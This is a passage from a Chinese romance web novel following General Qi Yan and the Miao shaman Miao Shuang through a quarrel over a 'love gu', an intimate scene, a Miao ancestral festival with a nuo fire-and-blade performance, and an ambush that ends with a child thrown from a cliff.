他虽然也输了不少,但自从苗霜让他扎裤腰带他就学乖了,见势不妙直接喝酒,只用喝一碗,不像某个不撞南墙不回头的家伙,硬倔。 这么一匀下来,他喝得还没有赵戎多。 人哪,果然不能心存侥幸。 这顿吵闹的晚饭终于散了,姜茂把赵戎扶回房间,赵戎路都走不稳了,还在那里嘟囔:“我没、没醉……我还能喝!我一定要……” 明秋开始收拾桌子,苗霜打了个哈欠,闲庭信步地往屋里走,祁雁跟在他身后:“夫人是不是该给我个解释?” 苗霜回过头来:“解释什么?” 祁雁:“解释你为什么要骗我。” 虽然苗霜没有正面回答他的问题,他却也猜到了,情蛊一事,苗霜绝对撒了谎,不然不会怕蛊虫测谎。 “我骗你什么?”苗霜一歪头,“酒桌上的事,当不得真。” “那你的真言蛊也当不得真喽?”祁雁再上前一步,伸手撑住墙,将他困在了自己和墙壁之间,“告诉我,情蛊到底什么情况下才会变红?” 他漆黑双眸直直盯住他,仿佛要将他整个人溺入其中。 苗霜看他这认真的样子,忍不住笑了:“你们这些汉人,想象力就是丰富,听到‘情蛊’就想到爱情,你就不能仔细想想,我若真有这么好用的蛊,为何不直接下给季渊,让他对我爱得死心塌地,再为我去死,将江山拱手相让,岂不一举两得?” 祁雁眸色一暗:“你敢!” 苗霜指尖触上他喉结边的小痣,在上面轻轻摩挲:“将军还说没对我爱得死去活来,我都告诉你情蛊是假的了,你还不准我给别人用。” 他顺势靠近他怀里,附在他耳边轻声道:“有没有可能,情蛊的‘情’不是爱情的情,而是情趣的情?” 第76章 第 76 章 他就是喜欢苗霜了,又如…… 祁雁眉头拧紧:“什么意思?” “还不明白吗?所谓情蛊, 不过是情趣所用,能提升愉悦感,仅靠一只蛊虫就能让你爱上我?那除非是虫子蛀了你的脑子, 把你变成一具行尸走肉,成为人傀供我驱使。” 许久没有提起过这两个字了, 如今再听,不禁让人头皮发麻, 祁雁不愿细想:“你是说,你的蛊虫控制不了我的思想,也验不出我是不是喜欢你。” “自然,”苗霜指尖用力,按压他喉结边的蛊虫,“至于它什么时候会变红……当然是你觉得舒服的时候。” 难以形容的刺激感席卷而来,让祁雁呼吸停滞了一瞬,喉咙里滚出不由自主的闷哼。 “你现在感觉舒服吗,将军?”苗霜满意地看着他的反应, 指尖还在抠弄那只蛊虫,“现在, 它变红了。” 祁雁:“……” 他一把拉开苗霜的手,凑到铜镜前,果然看到那颗暗色的小痣开始泛红,像是血的颜色。 “你越舒服,它就越红,”苗霜笑得十分促狭, “你知不知道你每次一脸要杀了我的厌恶表情,脖子上的痣却红得要烧着了,我越看越觉得高兴, 边恨边做是什么滋味,将军,是不是欲罢不能?” 他每说一句,祁雁浑身的汗毛就立起一分,只感觉头皮都要炸了,本就因喝酒而活络的气血翻涌不止,他嗓音发抖,耳根火燎一般烫了起来:“你……!” 苗霜凑近了他,在他耳边呼了口热气:“是不是每次都恨不得把我干|死在床上,以解心头之恨?” 祁雁面色一阵扭曲,想不通这个家伙是怎么面不改色地把这种话说出口的,真就没有一点羞耻心吗? “从这个角度讲,说情蛊能让你爱上我也没说错,爱上和我做怎么不算爱上呢?你每次觉得舒服,都会被情蛊记下,下一次会在它的刺激中觉得更舒服,久而久之,便深陷其中不可自拔,再也离不开我,再也爱不上别人。” 苗霜笑着看他:“这世上除了我,再也没有人能让你觉得舒服,你从身到心完完全全属于我——怎么样,我这情蛊,将军可还满意?” 祁雁怒火中烧,咬牙切齿:“苗霜!” 他狠狠将对方抵在墙上,气得说不出一句完整的话来:“你……你……” “我什么?”苗霜幸灾乐祸,“谁叫将军自制力这么差,你若少和我做几次,情蛊的效果就不会这样深,现在才醒悟可太迟了,食髓知味,积重难返,除非你出家当个和尚,否则你这辈子都别想摆脱情蛊的影响。” 祁雁:“??” 明明一开始是苗霜强迫他和他做的,怎么现在倒打一耙,反而怪他意志不坚定?! 祁雁出离愤怒了,只感觉面前这个家伙是如此可恶,那张嘴开开合合,说出的每一句话都让人火冒三丈。 他终于忍无可忍,狠狠堵住了苗霜的嘴,堵得严丝合缝,再不给他半点开口说话的机会。 这个吻来得突然,如果让苗霜找个词来形容,那他觉得应该称得上“凶恶”二字,他从中品尝到了气急败坏,感觉祁雁应该又想干|死他了。 果不其然,下一秒,他腰间松松垮垮的衣带就被抽开,对方的手掐住了他的大腿。 换气的空档里,苗霜欲迎还拒道:“至少也先去床上吧。” 祁雁并不理会。 不知是酒劲上头,还是别的什么原因,他现在只想给这个欺骗他又戏耍他的家伙一点颜色瞧瞧,甚至顾不上那是不是正中了苗霜的下怀。 他强行抬起对方的腿,把他架到自己身上,漆黑眼眸中暗潮涌动,如同翻搅的波涛。 他对苗霜爱得死去活来? 笑话。 就算是又怎样? 纵然这个家伙总是喜怒无常,心情好的时候用虫子给他治伤,心情不好了又用虫子折磨他,总是捉弄他戏耍他拿他取乐,还把他当泊雁仙尊的替身…… 但他就是喜欢了,又如何? 管他是男人还是苗人,是疯子还是虫子,只要他是苗霜,那就该是他的。 他就是喜欢了,无关这该死的蛊虫,也无关身体的愉快与否,他喜欢一个人不需要理由,不想讲任何道理。 他喜欢苗霜,且不准他喜欢别人,也不准别人喜欢他,他们既已成亲,就该全身心地属于彼此,容不下第三个人。 后背死死抵在墙上,苗霜无路可退,他双脚离地,身体悬空的感觉让他有种岌岌可危的欲坠感,情不自禁地绞紧了对方的腰。 全身的重量落在祁雁身上,让他整个人都要被钉穿了,他扶住对方的肩膀,低下头去吻他,祁雁眼眸中漆黑的暗流汹涌得要将他淹没,像是一头被点燃的野兽,发狂一般横冲直撞,蛮横无比地报复着他。 苗霜忍不住仰起头来,享受着这在还是仙尊的祁雁身上绝对品尝不到的滋味,他不知道他死以后修真界又发生了什么,才能把祁雁变成这副模样,不过身体的感觉告诉他,这并不坏。 无论是哪个祁雁他都喜欢,不理智地说,他甚至更喜欢现在这个。 不知道被折腾了多久,终于被放下来时,他几乎有些站不稳了,湿意顺着腿根往下流,像是米酒的颜色。 祁雁站在他身后,紧紧锁着他的腰,淡淡的酒气在空气中弥漫,好像让人又醉了一遍,他轻轻啃咬着苗霜的耳垂,用喑哑的嗓音在他耳边说:“夫人说我深陷其中不可自拔,我看夫人却也不比我好到哪去。” “哈……”苗霜不住气喘,“看来我是把你治得太好了,将军而立之年还能这般龙精虎猛,可喜可贺,可喜可贺。” “……”祁雁的表情变得古怪起来,“我还没到而立之年。” “却也差得不多。” “夫人这意思,是嫌弃我年纪大喽?你若嫌弃,当初又何必与我成亲?” 想必那泊雁仙尊一定很年轻吧,都仙尊了,自是法力高强容颜不改,他这个武功尽失内力全无坐了半年轮椅好不容易才能爬起来走路的废人哪里比得上。 “怎么会呢,”苗霜笑得分外温柔,拉住他的手,与他十指相扣,“我都给你种生死蛊了,你我虽不是同年同月同日生,却得是同年同月同日死,年纪什么的,不重要。” 掌纹上的红线重叠在一起,不知是不是祁雁的错觉,他竟觉得掌心有些烫。 他将信将疑地看着苗霜:“你最好说的是实话。” “自然是实话,我几时对你说过假话?” 祁雁震惊了:“你撒过的谎你自己数得过来吗?” “……快点放开我,”苗霜笑意盈盈地咬了咬牙,耐心彻底告罄,“下次再敢用这个姿势,我就毒死你。” “哪个姿势?”祁雁装作不懂,又冒犯了他两下,“你说现在这个?” 苗霜:“……” 祁雁只感觉腕间一凉,一柄森白的骨刃贴上他的手腕,再稍微用力一点,就能让他皮开肉绽。 “再不放开,就用你的血喂我的虫子。”苗霜威胁道。 祁雁依依不舍地撤出,放开了他。 明秋早已经给他们准备好了热水,苗霜赶紧去洗了个澡,浑身酒气,又被姓祁的一通折腾,他现在只想收拾干净睡觉。 祁雁来到铜镜前。 脖子上的小痣果然比之前更红了,殷红的一点落在皮肤上,仿佛一碰就会流出血来。 这次苗霜还真没骗他。 所以他那晚看到情蛊变红,是因为他们刚刚结束完酣战? 后来看到情蛊又变回原样,是因为他下楼烧了趟水,心情已然平复? 这东西还真…… 祁雁神色复杂。 所以,苗霜不喜欢背对,除了想看到他的脸,该不会还是为了看到这颗痣吧…… 看着情蛊一点点变红是什么感觉?这也太恶趣味了。 祁雁一阵恶寒,转头去找苗霜,看到他靠在浴桶里一副享受的模样,没忍住,把刚披上的衣服又脱了。 苗霜本来正在闭目养神,听到动静,睁开眼来:“你干什么?” “洗澡。”祁雁二话不说,径直跨进了浴桶。 浴桶虽然不小,但同时容下两个大男人还是有些拥挤,苗霜被迫给他让出位置,不满道:“谁准你进来的?” 祁雁缓缓坐下,桶里的水又升高了一截,淹到了苗霜的下巴,让他不得不坐直了身体,把腿蜷起。 “夫人享受完了就在这里沐浴解乏,为夫难道不行?别忘了为夫‘而立之年’,伺候夫人也是很累的,夫人可要尊老爱幼啊。” 苗霜:“……” 神经病吧。 他看某人精神抖擞,还能大战三百回合的样子,哪里像很累了? 他笑眯眯道:“好好好,我尊老爱幼,既然将军想洗澡,我让给你便是。” 他说着就要起身,却被祁雁一把拉住,对方强行按住他的肩膀不让他起来,浴桶里空间狭小,他想强行挣脱,却使不上力。 两个人四条腿困在这一个桶中,想不碰上都不可能,苗霜这一挣扎,不知碰上了哪一条,表情微变:“你没完了是吧?” “什么没完了?”祁雁故作不解,拿起条毛巾来,“帮夫人洗澡,夫人不愿吗?” 浸了水的毛巾擦上苗霜露在水面外的肩膀,顺着手臂一路擦到掌心,擦得人身上痒,心里也痒。 苗霜懒得说话了,重新放松下来,反客为主道:“头发也洗洗。” “……知道了,”祁雁抓过一块皂角,“不过这样不好操作,你离我近些。” 苗霜:“?” 他在对方的摆弄下被迫起身,改盘坐为跪坐,于是好巧不巧地,两人撞在了一起。 他沉默了下,低头看向水中,摇晃的水波之中两人轻轻摩擦,祁雁却没再对他做什么,只将那块皂角揉出泡沫来,帮他搓洗头发。 蒸腾的热气让人精神困乏,苗霜缓缓靠进他怀中,伸手抱住他的腰,在他唇边轻轻亲了亲。 第77章 第 77 章 祭神傩舞,刀梯火海…… 祁雁指尖一顿。 苗霜把脑袋枕在他肩头, 合上眼睛,很快就睡了过去。 祁雁舀了热水帮他冲洗头发上的泡沫,小心地护住他的耳朵, 不让水流进去。 雪白的发丝浸透了植物的香气,祁雁没忍住, 轻轻吻了吻他潮湿的鬓角,和因为热水熏蒸而微微泛红的耳尖。 帮他清洗完全身, 祁雁用浴巾把人一裹,抱回房间,又坐在床边看了他一会儿,心满意足地躺下休息。 * 这天晚上喝酒喝得太狠,第二天谁都没能起得来床,只有圣子兢兢业业,下了趟山,说去排演什么傩戏。 回来以后他询问才起床的苗霜:“阿那真的不用提前排演一下吗?” “有什么好排演的?”苗霜懒洋洋道,“每年都是这么一出, 闭着眼睛也能演下来。” “好吧,”向久只好不再劝他, 支支吾吾,眼神躲闪道,“那个……祭日之前,阿那还是稍微克制一下,至少要保证身体清洁,别、别让神灵不高兴。” 说完, 忙不迭地跑了。 祁雁正从屋里出来,刚好听见这么一句,他有些诧异地看向逃跑的圣子, 心说这话什么意思? 他自然是有帮苗霜清理干净的,哪里不清洁了? 苗霜打了个哈欠,完全不把向久的提醒放在心上,他才不信神灵真的存在,神若真的愿意窥探世间,又怎会容忍世人承受苦难? 当然,他不会在族人面前说这话,身为大巫,必要的流程还是要走的,他可以不信,却不能去破坏别人的信仰。 转眼就到了四月初八,按照苗霜的安排,几人分头行动,苗霜一早就和圣子一起出了门,而祁雁负责带着赵戎他们。 他把面具扣在脸上,道:“走吧。” 赵戎看了看他的那个面具,又看了看自己的:“大巫还真是差别对待,给您的面具都比给我们的精致。” 祁雁莫名其妙:“他是我夫人,不是你们的。” “啧啧啧,”赵戎把身子一扭,把嘴一撇,“‘我才没有对夫人爱得死去活来’~” 祁雁:“……” 那天晚上喝了那么多,这货居然没断片? 他不想再搭理他了,推门离开了院子。 他们要去的地方在河对面,附近最高的那座山上,相传,那里是那位带领苗民起义的先祖埋骨之地,后来,人们就以那座山为中心,在四周的山上建起寨子,一座座吊脚楼依山而建,守护着英勇献身的先辈们,也在先辈们的见证下传承了一代又一代。 今日,所有的渔船都不打鱼了,负责运送往来苗民,祁雁他们登上了其中一条,撑船的老者热情地用苗语跟他们打招呼。 完全听不懂的赵戎一脸懵逼,心说坏了,该不会才刚上船就要露馅了吧,大巫只告诉他们偷偷混进去,可没说路上还有人跟他们搭话啊! 他下意识将求助的眼神投向祁雁,却见祁雁从容不迫地跟那老头攀谈起来,用的竟也是苗语。 赵戎:“?!” 完了,他们将军真的叛变了,连苗语都说得这么利索! 也不知道祁雁说了些什么,撑船的老者哈哈大笑起来,他看向前方开阔的河面,摇动船桨,唱起了山歌。 数不清的小船从四面八方而来,前去祭拜的苗民家家户户挑着竹篮,篮子里放着热腾腾的糯米饭,将最好的吃食敬献给先祖。 不知是谁最先唱起的山歌,一呼百应,此起彼伏,歌声在江面上串成一线,在山间回荡辗转,最终汇聚在山脚下,顺着陡峭的山路盘旋向上。 附近所有苗寨的苗民几乎都到齐了,许多人都不认识彼此,甚至从没见过面,但相同的目的让他们齐聚在此,不论男女老幼,皆亲如一家。 祁雁站在船上,抬头望向那座苍翠的山峰,身着各异的苗民顺着山路上山,远远望去,犹如一条望不见尽头的蜿蜒长龙。 很快他们乘坐的渔船也到了山脚,老人家放下他们,便要回对岸去接下一波人,祁雁用苗语冲他道了声谢,老者摆了摆手,摇着船桨走远了。 赵戎见附近没人注意他们,压低了声音:“鸣川兄,你刚刚跟那老头说了什么啊?你什么时候学的苗语?” “日常寒暄而已,我也在苗寨待了这么长时间,听也该听会了吧。” 赵戎还要再问,祁雁却冲他比了个噤声的手势:“别废话了,我们快些上山。” 今天来的人相当多,对他们隐藏身份倒是十分有利,他们很容易就混进了人群当中。 上山的路陡峭又狭窄,最窄处仅可一人通行,稍有不慎就会摔下山去,粉身碎骨,可这些苗民脸上却没有半分惧色,哪怕是小孩,都高高兴兴地拉着家人的手,在山路上蹦蹦跳跳。 上山的路实在漫长,前面的人和后面的人都在唱山歌,祁雁他们几个夹在中间,颇有些尴尬,虽然他们唱的歌听起来都差不多,据祁雁翻译,歌的内容就是在歌颂那位苗民先祖,但赵戎却不敢随便学,生怕自己哪个音发得不对,就被听出来自己是个卧底。 他只好闷头赶路,却忽然听得身后传来一道清亮的歌声,起初他还以为是跟在他后面的苗民,听着听着觉得这声音实在耳熟,扭头一看,发现竟是姜茂。 赵戎震惊得瞪大双眼,姜茂却不理会他见鬼的表情,自顾自地唱完了那歌,竟是学得有模有样,以假乱真。 他的歌声吸引了许多人的注意,后方传来嬉笑之声,有个年轻的苗族姑娘在同伴的怂恿下挤上前来,主动和他搭话。 姜茂听不懂她的意思,最后还是祁雁替他解围:“我这阿弟虽然歌唱得不错,却不善言辞,人无趣得紧,姑娘不妨再考虑考虑,免得以后日日对着闷葫芦生气。” 苗族姑娘听了,不禁脸一红,扭头走掉了。 姜茂茫然地看着他们,全然不知自己被说了什么坏话。 等到祁雁跟他们解释,赵戎面色一阵扭曲:“都说这苗族姑娘喜欢靠对歌挑选如意郎君,没想到竟是真的?不过姜茂你是不是有病,没事瞎唱什么歌?咱俩才是铁哥们好不好。” 姜茂:“?” 不唱不对,唱了也不对? 事怎么那么多呢。 赵戎把他赶到了中间,以免他再被人搭话。 三人总算是有惊无险地上了山,找了个没人的地方休息,祁雁坐下来,长舒一口气。 但凡这节日再早个十天半月,他都爬不上这山。 祭拜一直持续了一整天,苗民们敲锣打鼓,热闹非凡,人们互相分享自家带来的饭食和酒,看起来一片其乐融融。 祁雁他们也吃了点东西补充体力,赵戎蹲在地上,打开一个包好的饭团:“我已经在附近转了好几圈了,没发现什么可疑的人,你们呢?” 姜茂:“我这边没有。” 祁雁也摇了摇头。 赵戎:“我觉着吧,大巫就是多余担心,再怎么说大巫也是大巫,我看这些苗民特别尊敬他们的先祖,当着先祖的面对大巫不利,他们怎么敢呢?” “本来也只是以防万一而已,”祁雁道,“既然没发现什么异常,那就休息一下,祭祖仪式应该很快就要开始了,如果到仪式开始都没出现问题,那我们的任务就算完成了。” “……原来现在还不算开始?”赵戎惊讶道,“对啊,好像一直没看见大巫呢。” 正说话间,远处忽然传来震天的鼓声,夕阳已落,一抹残辉斜照在山巅之上,映亮那刀梯上三十六柄明晃晃的刀锋。 三人同时投去视线,赵戎睁大了眼睛,伸手指去:“那是什么?” 始终未曾现身的大巫便在这激昂的鼓点中登了场,苗霜一身红衣,身上的银饰随着他的动作轻轻摇晃,流苏飞舞,白发被压在面具之后,赤着的脚腕上坠着银铃,虽然离得远,那铃声早淹没在鼓声之中,祁雁却仿佛听到了,听到那清脆悦耳的铃音敲击在他心头。 “傩戏……”他低声喃喃。 傩戏已经开场,苗霜持着刀,与面前的苗民对抗,这些苗民戴着狰狞丑陋的鬼面具,踏着夸张的舞步,张牙舞爪,步步紧逼。 祁雁很快看明白了,这演的应该就是“大傩逐疫”的景象,扮傩神驱逐疫鬼,这样的传统自古有之,却又被这些苗人赋予了新的含义,那些鬼既可指疫鬼,又可指欺压他们的敌人。 而苗霜所戴面具和他们都不一样,赤面獠牙,色彩鲜明,神秘又粗犷,当指傩神,或当年率领族人起义反抗暴政的苗民先祖。 苗霜很快被逼到了刀梯之下,四面皆敌,退无可退,他便飞身上了那刀梯,踩着刀刃拾级而上,雪亮的刀锋闪着寒光,吹毛断发,削铁如泥,他赤脚踩之,却毫发无伤。 赵戎看得呆住,不敢相信自己的眼睛:“我没记错的话……大巫不会武功吧?他……怎么做到的?” 祁雁没有接话,只目不转睛地盯着那个方向,虽然他知道大巫神通广大,却还是忍不住替他捏一把汗,那样高的刀梯,别说是踩着刀刃上去,就是不小心摔下来都能摔个半残。 他轻功还在的时候,或许还有胆量试试,现在么……苗霜明明不习武,竟能如履平地。 疫鬼们围在刀梯之下,看着上面的人,又跳又叫,端的是无可奈何,而苗霜早已爬到了刀梯顶端,他仰起头来,赤红傩面直视苍穹,以刀指天。 天色已暗,最后一缕夕阳余晖沉落在青山之后,却有一簇星火从天而降,燃蝶一般飘摇坠落,停驻在他刀尖。 苗霜猛地挥刀,那一颗星火化作万千烈焰,洒落大地,顷刻将四周烧成一片火海,魑魅魍魉皆在这火中烧得灰飞烟灭,四散奔逃。 苗霜便从那高高的刀梯之上一跃而下,赤脚踏入燃烧的烈火,火舌燎上他的衣角却不燃,舔舐他的皮肤却无恙,只有脚腕上的铃铛映着火光,坠在踝骨上晃动不止。 火光冲天,四野亮如白昼,他在这滔天火海中闲庭信步,手起刀落,斩尽邪鬼,纤细的身形因覆在脸上的傩面尽显凶悍与野性,白发被热浪扬起,竟与傩神浑然一体,毫不违和。 傩戏又演了许久才算落幕,傩神逼退疫鬼,人们战胜外敌,火渐渐熄了,欢庆之声却愈演愈烈,在这个注定不眠的夜晚直上云霄。 祁雁望着那个方向,许久不能回神,直到苗霜出现在他面前。 他已经摘了傩面,从“神”重新变回了“人”。 白皙的面容因烈火炙烤而微微泛红,苗霜似笑非笑地看着他,一歪头道:“怎么,看傻了?” 第78章 第 78 章 坠崖。 祁雁回过神来。 他捏住对方的肩膀, 将他从头到脚认认真真打量了一遍:“你没事?” “我能有什么事,”苗霜漫不经心地说,“什么上刀山下火海的, 逢年过节就要来一次,我演都演腻了, 他们居然看不腻。” 祁雁抿了抿唇。 上次他还说可以为他上刀山下火海呢,结果他只是比喻, 这些苗人却来真的。 “大巫大巫!”赵戎凑上前来,好奇地问,“你是怎么做到脚踩刀刃毫发无伤,在火海中穿行不被烧着的?能不能跟我传授传授经验,我也想学!” 苗霜嫌弃地瞥他一眼:“那是我们苗疆秘术,怎可传授给你这外人?” “啊?”赵戎一挠头,“我们还算外人啊……” 祁雁把这个碍事的家伙扒拉到一边,对苗霜道:“你没事就好,要不要吃点东西, 休息一下?” “不了,我还得去长老们那里看看, 走个流程,”苗霜压低了声音,“你们在山上待了一天,有没有发现什么异常?” 祁雁摇头:“没有。” “那看来是我多心了,反正祭祀仪式已经完成,没你们什么事了, 这一天辛苦你们,接下来就随便走走,四处转转吧, 他们要到天亮才会离开。” 赵戎:“不辛苦不辛苦,我们还要感谢大巫,让我们看到了这么精彩的傩戏。” “少在这拍我的马屁了,”苗霜不为所动,“行了,你们爱干什么干什么,晚点我再过来找你们。” 他说着就要离开,忽听得一道脆生生的童音:“阿那!” 向久朝他们跑来,呼哧呼哧地爬上他们所在的高地:“你们居然躲这么远,我找了你们好久!” “圣子也来了,正好,你陪他们在附近逛逛。” “啊……”向久显然很不情愿,“那好吧,阿那忙完了要第一时间回来找我们哦。” 苗霜揉了揉他的脑袋:“知道了。” 祁雁注视着他离开的背影,直至彻底消失,才依依不舍地收回视线,问向久道:“圣子之前不是说去参加傩戏排演了吗,怎么我刚刚并没在场上看到你?” “什么?”向久别开眼睛,支吾着说,“虽、虽然我没亲自上场,但我也是出力了的!” “哦?” “火种!那枚火种,是我提前向神灵祈来的,”向久一仰头,叉起了腰,十分认真地说,“火可是很重要的,有了火,人们才能吃上熟食,蒸出香喷喷的糯米饭,有了火,才能驱散那些讨厌的恶鬼!” “这么厉害呢?”赵戎蹲下身来,逗小孩玩,“那枚火种从天而降,也是圣子搞的吗?怎么做到的?” 向久却把脸一撇,把胳膊一抱,骄傲道:“我才不会说呢,那是我们苗疆秘术,不会告诉你的。” “你这口吻,还真是和大巫一模一样,不愧是他带出来的徒弟,”赵戎笑道,“不过我有个疑问,这傩神不就是神吗,怎么神还要向神祈火?” 向久颇为神气地哼了一声:“这你就不懂了吧,神和神也是不一样的,万物有灵,鬼神无处不在,他们也分好坏,分善恶,善灵为神,恶灵为鬼。鬼神们各司其职,譬如山神,庇佑山间生灵,譬如火神,赐予我们火种,譬如雨神,会行云布雨……至于鬼嘛,会带来灾祸、瘟疫,所以我们以傩戏祭神,请神驱鬼。” “哦——”赵戎发出恍然大悟的声音,“我明白了,那刚刚大巫扮的是哪个神?” “是……”向久道了句苗语。 赵戎茫然:“啊?” “哎呀,我不知道用汉话怎么说啦!”向久不想再跟他讲下去了,“我饿了,你们有没有带吃的,分我一点。” 姜茂从竹篮里拿出一个饭团给他,向久大概是真饿了,捧着饭团,坐在石头上就吃了起来。 祁雁认真思索了好一会儿,斟酌着道:“他刚刚说的好像是个人名,还有……英雄的意思,我猜,应该就是指那位先祖吧?” 向久专心致志地啃着饭团,看起来并不想解答了。 “你这小孩,年纪不大,懂得倒不少。”赵戎看着他毛茸茸的脑袋,实在心痒,伸手就要去摸。 “……不准摸我的头!”向久立刻护住脑袋,“圣子的头岂是你想摸就摸的!没规矩!” “嘿,”居然被一个小孩说没规矩,赵戎感觉自己很没面子,“刚刚苗霜不也摸你的头了吗?怎么给他摸不给我摸?” “阿那是大巫,阿那当然可以摸圣子的头,但你不行!”向久义正辞严,“走开走开,不然我要生气了!” “你这小鬼头……” “好了,他不给摸就算了,他也不让我摸。”祁雁道。 赵戎只得作罢。 既然苗霜说他们的任务已经完成,那他们继续留在这里也没意义,夜色已深,节日的氛围却丝毫不减,苗民们生起了篝火,围着篝火载歌载舞,好不热闹。 赵戎素来是个闲不住的性子,拉上姜茂就去看热闹,祁雁则留下来陪着向久,问他:“吃好了吗?再来一个?” “不要了,”向久啃完了饭团,拍拍屁股站起身来,抓住他的手指,“鸣川阿约,我带你去个地方,来不来?” 阿……约…… 祁雁的表情变得有些微妙。 他没记错的话,“阿约”是叔叔的意思吧。 管苗霜叫哥哥,却管他叫叔叔,这画面为什么似曾相识? 见他没反应,向久又晃了晃他的胳膊:“来不来嘛?” “来,”祁雁帮他擦掉嘴角沾着的饭粒,“圣子要带我去哪儿?” 向久却故意卖关子,只拽着他一路往前走,来到山路的尽头。 “你看,那里就是我们的寨子,”他伸着小手向前指去,“阿约觉得,像什么?” 群山隐没在夜色之中,弦月高悬,银辉尽洒,波光粼粼的河面像是游龙的背脊,苗寨中灯火点点,是不能参加祭神的苗民为家人留下的引路明灯。 祁雁以前从没注意过这些,仔细观察了一下那些由灯火勾勒出的轮廓,不确定道:“像……蝴蝶?” “对!阿约眼力真好,就是蝴蝶!”向久显得有些激动,“阿那说,我们的寨子就像一只蝴蝶,寨子里的我们,也像是一只只蝴蝶,总有一天我们会飞出大山,飞到外面去,守护我们的家乡自然重要,可外面的天地广阔,既然是蝴蝶,就不该永远在一朵花上盘旋,该飞去更远的地方。” “有时候不是我们不想,只是我们不能,又或不敢,但这次,我努力走出去了!我治好了那些人的疫病,他们没有因为我是异族而排斥我,还叫我小医仙!” 向久说着,眼睛亮亮的,他攥着拳头,脸上满是憧憬:“我也想成为先祖那样的人,成为阿那那样的人,带着族人走出深山,汉人能做的,我们也可以!既然他们不排斥我们,我们为什么不能和他们做朋友呢?” 祁雁看着他,不免有些唏嘘。 有时候他们这些成年人的觉悟还不如一个小孩,虽然小孩的想法十分天真,汉人排斥异族的想法根深蒂固,哪里是一朝一夕就能改变,这次没发生什么,只是因为圣子接触的都是病人,命都快保不住了,走投无路之下什么都敢尝试,哪里还顾得上这郎中是哪里来的,方子里用了什么药。 这不代表两族的恩怨就此消解,以后能相安无事,或许被圣子医好的病人,下次再见面时,就会矢口否认治好自己的是个巫医。 可他又怎么忍心打破一个小孩美好的愿想。 祁雁蹲下身来,轻拍向久肩头:“圣子说的没错,汉人能做的,你们也可以,我相信总有一天,汉人与苗人之间不再有隔阂,小医仙会成为大医仙,让汉人的医书里也记上你的名字。” “那、那还是有些困难吧……”向久有点脸红,“我觉得,需要被记下的是阿那不是我。” 祁雁笑了笑,很想去摸他的头发,又忍住了,他站起身来,看向河对岸的青山。 他们住的吊脚楼里也亮着灯,应该是明秋点的,从这个角度看过去,那座吊脚楼游离于“蝴蝶”的身体之外,更像是蝴蝶伸展出去的长长的触角。 若这些苗民真是一只只蝴蝶,那苗霜毫无疑问,一定是飞得最高,也是最美的那一只。 正在这时,他忽然听到身后不远处传来说话声,有人问道:“你们有没有看到几个汉人?” 被询问的苗民十分惊讶:“汉人?有汉人混进来了?” 有人指路道:“我看见了!好像往那边去了!” 祁雁一惊。 糟了,难道是赵戎他们……该不会苗霜说他们可以随便玩玩,他们就真的随心所欲了吧? 可赵戎再怎么说也是雁归军出身,不至于犯这种低级错误,更何况有姜茂和他一起行动…… 不对劲。 那人指的方向也不是他们离开的方向。 这些苗民在故意制造混乱?声东击西,还是调虎离山? 向久也听到了那边的动静:“我过去看看。” 祁雁一把将他拉了回来:“别去。” 他护着向久要往树林深处走,准备暂避风头,可刚走出去没两步,就看见前面亮起火把的光,几个苗民截住了他们的去路。 祁雁回过头,后方也有人包围上来。 来者不善。 刚刚那个指路的苗民似乎和这些人是一伙的,故意指了相反的方向,现在大部分人都去搜寻“汉人”的踪迹了,反而没人注意到他们这边。 苗霜的担心竟真的应验了。 可为何祭祀仪式前不行动,而选在这个时间? 明明观察了一天都没发现任何异常,这帮人还真是沉得住气。 为首的苗民举着火把,走上前来,用苗语询问道:“可有看到汉人的踪迹?” 祁雁按兵不动,也用苗语回答:“没有。” 向久实在忍不住了,不高兴道:“你们在干什么?哪里来的汉人?谁允许你们在祭神日当天闹事?是款首派你们来的,还是长老派你们来的?” 对方却不回答,只死死地盯着祁雁:“你是什么人,看着眼生,报上名来!” 祁雁只得随口编了个苗名。 “我在问你话!”向久这次是真的生气了,“圣子的问话你都敢不答,惹怒了神灵,你担待得起吗!” “……抱歉,圣子,”那人的态度一下子软了下来,“我们只是奉命搜查汉人的踪迹,这人颇为可疑,还请允许我们仔细排查一下。” “奉命搜查,奉谁的命?” “奉款首之命。” 向久惊讶地睁大双眼:“她怎么可能下这种命令!” “我看他就是那汉人无疑,圣子可千万别被他蒙骗了,”另一个苗民道,“装得倒是像,还会说苗语,敢不敢走上前来,让我们仔细检查一番?” 祁雁:“……” 果然是冲他来的。 究竟是谁走漏了风声?绝不可能是苗霜,这件事,苗霜应该也没有告诉款首才对。 他的视线在众人当中环视:“你们说是奉款首之命,有款首给的信物吗?说我是汉人,我是不是也可以怀疑你们是汉人,在这里贼喊捉贼?” “你……!” “跟他废什么话,拿了他去见款首,款首自有定夺!” 不知是被戳穿了谎言,还是被戳到了痛脚,这些苗民不再跟他讲道理,抄着武器一拥而上。 祁雁一脚踹翻了冲在最前面的苗民,夺下他手里的火把,旋身抡向身后袭来的人,火把狠狠抽在那人脸上,烫得他大叫起来。 “圣子快走!”祁雁侧身一躲,让开一柄向他砍来的刀,火把猛地击中对方腹部,燃烧的火油燎着他的衣服。 向久急得五官都皱在了一起:“可是……” “别管我了,快去找苗霜!” “我、我知道了!”向久转身就跑,“你坚持……啊!” 这声惊叫让祁雁心中陡然一凛,他像是意识到了什么,将手中的火把狠狠掷出,猛地转过身去—— 火把在空中打着旋,逼退了几个想要靠近的苗民,火光映亮祁雁的侧脸,他额头青筋凸起,用上了平生最快的速度,却无论如何也来不及了。 向久被一个苗民扛起来就往山崖边跑,他扑腾着两条小短腿,拼命用手去捶那人的后背:“放开我!!” 可一个六岁小孩哪里敌得过身强力壮的成年人,他只感到身体一轻,他似乎被人用力地扔了出去,天与地在他眼中倒转,最后看到的,是天上的月亮。 弦月当空,半明半暗。 风声呜咽,在耳边呼啸而过,如泣如诉。 他看到陡峭的山崖飞速退去,看到那一张张脸逐渐远离,他并没有哭,一片空白的脑中只剩下三个字—— 为什么? 无人回答。 最后落在耳中的,是祁雁声嘶力竭的呼喊:“圣子——!!” 第79章 第 79 章 生死蛊……被触发了?…… 下一秒, 他竟看到那喊他的人出现在了视野当中。 向久难以置信地睁大双眼,他想要开口,疾速的坠落却让他发不出一点声音。 ……为什么? 为什么他所信任的族人将他扔下山崖, 而舍命救他的,却是他的杀父仇人? 意识开始模糊了, 视野也开始模糊,他脑子里最后的念头是—— 不要下来…… 不要救他, 会死的!会死的!! * 祁雁没来得及思考太多。 他几乎是出于本能地纵身一跃,顾不得从这么高的地方跳下去会不会让他摔得粉身碎骨,他只知道如果他不救圣子,圣子必死无疑。 